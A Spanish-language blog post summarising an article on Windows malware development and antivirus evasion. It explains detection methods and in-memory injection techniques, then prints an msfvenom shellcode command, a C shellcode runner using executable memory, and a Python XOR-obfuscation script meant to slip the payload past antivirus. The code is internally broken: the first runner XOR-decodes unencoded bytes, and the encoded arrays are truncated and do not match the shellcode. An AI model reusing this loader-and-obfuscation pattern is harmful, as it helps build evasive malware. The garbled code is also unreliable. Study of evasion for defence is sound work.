El articulo de Hossam Ehab es la primera parte de una serie de cuatro publicaciones dedicadas al desarrollo de malware para Windows y a las tecnicas utilizadas para intentar evadir antivirus y sisteemas EDR.

La idea central: entender como se detecta el malware, como se ejecuta codigo en memoria y por que tecnicas como la ofuscacion, el cifrado y la manipulacion de procesos pueden dificultar su analisis.

  1. Estructura general del articulo

  1. Analisis de malware: estatico y dinamico

El autor comienza explicando como loos analistas de seguridad investigan programas potencialmente maliciosos.

Analisis estatico: Se examina un archivo sin ejecutarlo.

  • Cabeceras PE, strings, imports, secciones y desensamblado.

Analisis dinamico: Se ejecuta en un entorno controlado para observar sus acciones.

  • Procesos, archivos, registro, memoria y trafico de red.

Por ejemplo, un ejecutable de Windows puede parecer normal cuando se examinan sus cadenas, pero al ejecutarlo podria iniciar otros procesos, modificar archivos o comunicarse con un servidor.

  1. Como detectan malware los antivirus?

El autor distingue tres mecanismos principales:

MetodoFuncionamiento
FirmasIdentifica patrones conocidos de malware, como secuencias de bytes.
HeuristicaEvalua caracterristicas e instrucciones potencialmente sospechosas.
ComportamientoObserva acciones durante la ejecucion y detecta patrones anomalos.

Una diferencia importante: un antivirus tradicional y un EDR no son exactamente lo mismo. Un EDR incorpora telemetria del endpoint, correlacion de eventos y capacidades de investigacion y respuesta.

  1. Tecnicas de evasion: en disco y en memoria

Aqui comienza la partee mas relacionada con lo que se dice en el titulo.

4.1 Evasion en disco

Se presentan tres categorias:

  • Packers: transforman o empaquetan el ejecutable, modificando su representacion en disco.
  • Obfuscators: dificultan la interpretacion del codigo, sus cadenas o su flujo de ejecucion.
  • Protectors: incorporan mecanismos que complican el analisis y la ingenieria inversa.

El objetivo comun es dificultar el analisis estatico. Sin embargo, estas tecnicas no garantizan que el antivirus deje de detectar el programa.

4.2 Tecnicas en memoria

El articulo menciona cuatro tecnicas:

TecnicaEn que consiste?
Remote Process InjectionIntroducir codigo o datos en la memoria de otro proceso.
Reflective DLL InjectionCargar una DLL mediante un mecanismo propio, sin depender de la carga convencional.
Process HollowingCrear un proceso y sustituir parte de su imagen ejecutable en memoria.
Inline HookingModificar instrucciones para redirigir la ejecucion hacia otro codigo.
Estas tecnicas requieren comprender conceptos de Windows Internals como procesos, hilos, memoria virtual, permisos de paginas y carga de ejecutables.

Un detalle tecnico: Inline Hooking no es necesariamente una tecnica maliciosa. Tambien puede utilizarse para instrumentacion y monitoreo de seguridad.

  1. Desarrollo de un ejecutor basico de shellcode en C

Se utiliza msfvenom para generar shellcode cuyo comportamiento de demostracion consiste en abrir la calculadora de WIndows (calc.exe).

Despues presenta un programa en C que gestiona esos bytes mediante funciones de la API de Windows.

El ejemplo utiliza PAGE_EXECUTE_READWRITE, que permite lectura, escritura y ejecucion sobre una region de memoria.. Esa combinacion de permisos puede resultar sospechosa para las herramientas de seguridad.

Importante: este ejemplo ejecuta codigo en el proceso actual. No demuestra por si mismo una inyeccion remota en otro proceso.

shellcode:

msfvenom -p windows/exec CMD=calc.exe -e x64/shikata_ga_nai -b '\x00\x0a\x0d' -i 10 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
[-] Skipping invalid encoder x64/shikata_ga_nai
[!] Couldn't find encoder to use
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of c file: 838 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <windows.h>
#define SIZEOF(x) sizeof(x) - 1
#define KEY 0x50
 
unsigned char shellcode[] = {"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"};
 
unsigned int shellcode_len = SIZEOF(shellcode); // to get the size of the shellcode
 
// Agregamos la funcion de descifrado
 
void decrypt(char* shell, int nSize) {
 for (int i = 0; i < nSize; i++) shell[i] ^= KEY;
}
 
 
void main() {
 void *exec_mem; // memory for payload shellcode
 HANDLE th;
 DWORD oldprotect = 0;
 decrypt(shellcode, shellcode_len);
 exec_mem = VirtualAlloc(0, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Alocate a memory buffer for payload
 RtlMoveMemory(exec_mem, shellcode, shellcode_len); // copy / move payload to buffer or memory
 
 th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
 WaitForSingleObject(th, -1);
}

Si compilamos para ejecutar:

"C:\TDM-GCC-64\bin\gcc.exe" mal_ware.c -o mal_ware.exe

  1. Cifrado y ofuscacion mediante XOR

Despues, se explica que como vimos, el primer ejecutable es detectado y se propone transformar los bytes del shellcode utilizando XOR.

La operacion es:

Donde:

  • P: bytes original
  • K: clave XOR
  • C: byte transformado

La caracteristica de XOR es que la misma operacion permite recuperar el valor original.

Ejemplo sencillo:

original = 0x41
clave = 0x50
 
cifrado = original ^ clave
descifrado = cifrado ^ clave
 
print(hex(cifrado)) # 0x11
print(hex(descifrado)) # 0x41

Algo que aclarar es que XOR con una clave fija de un byte es una ofuscacion reversible muy debil, no un cifrado criptograficamente seguro. Un antivirus puede reconocer el algoritmo, recuperar los bytes o detectar el comportamiento posterior.

Este vendria a ser un ejemplo con el cifrado XOR:

import sys
 
data = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
 
key = 0x50 # put here your key as byte like for example (0x90 or 0x40 or 0x30) and more....
 
with open("salida.txt", "w", encoding="utf-8") as f:
 sys.stdout = f
 print('{ ', end='')
 for i in  data:
  print(hex(i ^ key), end=', ')
 
 print("0x0 };") # Notice that it adds one byte "0x0" to the end.
 sys.stdout = sys.__stdout__ 

Aqui se esta ofuscando el shellcode.

En salida tenemos:

{ 0x57, 0x68, 0x73, 0x75, 0x74, 0x60, 0x6d, 0x40, 0x6d, 0x6d, 0x6e, 0x62, 0x0 };

Como seria el codigo C en su totalidad?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <windows.h>
#define SIZEOF(x) sizeof(x) - 1
#define KEY 0x50
 
unsigned char shellcode[] = { 0xac, 0xb8, 0xd2, 0x50, 0x50, 0x50, 0x30, 0xd9, 0xb5, 0x61, 0x90, 0x34, 0xdb, 0x0, 0x0 };
 
unsigned int shellcode_len = SIZEOF(shellcode); // to get the size of the shellcode
 
// Agregamos la funcion de descifrado
 
void decrypt(char* shell, int nSize) {
 for (int i = 0; i < nSize; i++) shell[i] ^= KEY;
}
 
 
void main() {
 void *exec_mem; // memory for payload shellcode
 HANDLE th;
 DWORD oldprotect = 0;
 decrypt(shellcode, shellcode_len);
 exec_mem = VirtualAlloc(0, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Alocate a memory buffer for payload
 RtlMoveMemory(exec_mem, shellcode, shellcode_len); // copy / move payload to buffer or memory
 
 th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
 WaitForSingleObject(th, -1);
}

El cual como se esperaba, sigue siendo detectado.